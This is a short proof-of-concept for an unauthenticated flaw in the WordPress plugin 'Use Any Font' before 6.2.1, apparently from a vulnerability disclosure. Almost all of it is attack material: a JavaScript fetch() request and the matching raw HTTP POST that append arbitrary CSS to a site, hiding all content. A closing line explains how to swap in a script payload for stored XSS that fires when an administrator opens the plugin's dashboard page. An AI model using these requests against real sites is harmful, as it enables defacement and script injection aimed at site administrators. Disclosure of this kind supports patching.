Use Any Font < 6.2.1 - Unauthenticated Arbitrary CSS Appending

fetch("https://example.com/", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded"
  },
  "body": "submit-uaf-font-assign=x&elements[]=body{background-image:url(data://image/gif;base64,R0lGODdhKAAoAIABAAAAAP///ywAAAAAKAAoAAACX4yPqcvtD6OctNqLs968GwB4DkheJUSeUxqObCu98CJTtZvaL6quucjoAYfEovGI9M2MrJjwccM9G9FglXpVyJa0LW9n9X635Gy4jOZK02YoW1x5NzNytYWdzOv3/GIBADs=);}div{display:none !important};&font_key=1",
  "method": "POST",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

POST / HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
Content-Length: 301
Connection: close

submit-uaf-font-assign=x&elements[]=body{background-image:url(data://image/gif;base64,R0lGODdhKAAoAIABAAAAAP///ywAAAAAKAAoAAACX4yPqcvtD6OctNqLs968GwB4DkheJUSeUxqObCu98CJTtZvaL6quucjoAYfEovGI9M2MrJjwccM9G9FglXpVyJa0LW9n9X635Gy4jOZK02YoW1x5NzNytYWdzOv3/GIBADs=);}div{display:none+!important};&font_key=1


To perform XSS in the backend, use a payload such as <script>alert(/XSS/)</script> in the elements[], then the XSS will be triggered when viewing the Assign Font dashboard (/wp-admin/admin.php?page=use-any-font&tab=font_assign)